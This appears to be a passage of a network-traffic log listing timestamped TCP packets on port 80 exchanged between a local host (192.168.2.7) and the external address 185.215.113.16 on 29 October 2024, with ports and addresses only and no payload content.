Oct 29, 2024 18:00:22.380528927 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380532026 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.380544901 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380559921 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380578041 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380594015 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380608082 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380625010 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380650043 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380671978 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380685091 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380700111 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380721092 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380734921 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380748987 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380760908 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.380760908 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.380760908 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.380760908 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.380760908 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.380760908 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.380760908 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.380772114 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380786896 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380801916 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380815029 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380830050 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380831003 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.380831003 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.380846977 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380862951 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380877018 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380891085 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380906105 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380919933 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380934000 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380958080 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380971909 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.380973101 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.380973101 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.380973101 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.380973101 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.380973101 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.380986929 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381004095 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381019115 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381033897 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381050110 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381064892 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381078959 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381093025 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381107092 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381123066 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381138086 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381151915 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381166935 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381181955 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381182909 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.381182909 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.381182909 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.381182909 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.381182909 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.381182909 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.381184101 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.381231070 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.381500959 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381607056 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381620884 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381637096 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381650925 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381658077 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.381668091 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381686926 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381695986 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.381705046 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381737947 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381748915 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.381748915 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.381753922 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381769896 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381793022 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381808043 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381823063 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381838083 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381850004 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.381850004 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.381851912 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381870031 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381881952 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.381884098 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381901026 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381907940 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.381917000 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.381934881 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.381963015 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.382160902 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382174969 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382189989 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382250071 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.382314920 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382330894 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382344961 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382359028 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382369995 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.382374048 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382390022 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382405043 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382410049 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.382410049 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.382421017 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382447004 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382468939 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382483006 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382497072 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382514000 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382528067 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382543087 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382555962 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.382555962 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.382556915 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382555962 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.382555962 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.382570982 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.382575035 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382591963 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382606030 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382621050 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382636070 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.382637024 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382652998 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382654905 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.382669926 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382684946 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382699013 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.382700920 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382716894 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382731915 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382747889 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382765055 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.382817030 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.382817030 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.382817030 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.382817030 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.383490086 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383505106 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383519888 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383541107 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383555889 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383564949 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.383572102 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383589029 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383603096 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383618116 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383631945 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383642912 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.383642912 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.383642912 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.383646965 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383671045 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383672953 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.383687973 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383701086 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383716106 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383716106 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.383732080 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383747101 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383760929 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383764982 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.383764982 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.383781910 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383796930 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383812904 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383827925 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383836985 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.383836985 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.383842945 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383857965 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383872986 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383876085 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.383888006 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383902073 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.383904934 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383920908 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383938074 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.383944988 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383961916 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383976936 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.383991957 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384006023 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384021044 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384036064 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384046078 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.384046078 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.384046078 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.384052992 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384076118 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384083033 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.384083033 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.384092093 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384111881 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384126902 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384129047 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.384143114 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384156942 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384172916 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384186983 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384195089 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.384195089 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.384202957 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384219885 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384223938 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.384243965 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384259939 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384275913 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384288073 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.384293079 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384308100 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384324074 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.384324074 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384371042 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.384371042 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.384810925 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384826899 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384843111 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384856939 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384871960 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384886980 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384890079 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.384902954 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384917021 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384933949 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384949923 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.384974003 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.384974003 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.384974003 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.385032892 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.385098934 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.385113955 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.385128975 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.385143995 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.385159016 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.385174990 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.385190010 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.385205030 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.385219097 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.385234118 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.385263920 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.385263920 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.385263920 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.385263920 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.385288954 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.385296106 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.385359049 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.385374069 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.385389090 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.385404110 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.385420084 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.385420084 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.385447025 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.385467052 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.403817892 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.409286976 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409396887 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409413099 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409429073 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409445047 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409461975 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.409506083 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409522057 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409535885 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409554005 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409560919 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.409560919 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.409570932 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409615040 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.409615040 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.409656048 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409672022 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409686089 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409701109 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409715891 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409738064 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.409739971 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409755945 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409764051 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.409770966 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409784079 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.409795046 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409811020 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409820080 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.409826994 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409842014 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409857988 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409873009 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409888029 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409902096 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409915924 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409919024 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.409919024 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.409919024 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.409930944 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409948111 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409971952 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409986019 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.409986973 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.409986973 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410001040 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410023928 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410029888 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410041094 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410054922 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410072088 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410078049 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410090923 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410093069 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410108089 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410123110 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410136938 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410139084 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410139084 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410151958 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410175085 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410183907 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410198927 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410213947 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410223961 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410229921 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410245895 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410259962 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410267115 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410274982 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410289049 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410307884 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410320997 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410335064 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410348892 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410351038 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410351038 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410351038 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410363913 CET	80	49977	185.215.113.16	192.168.2.7
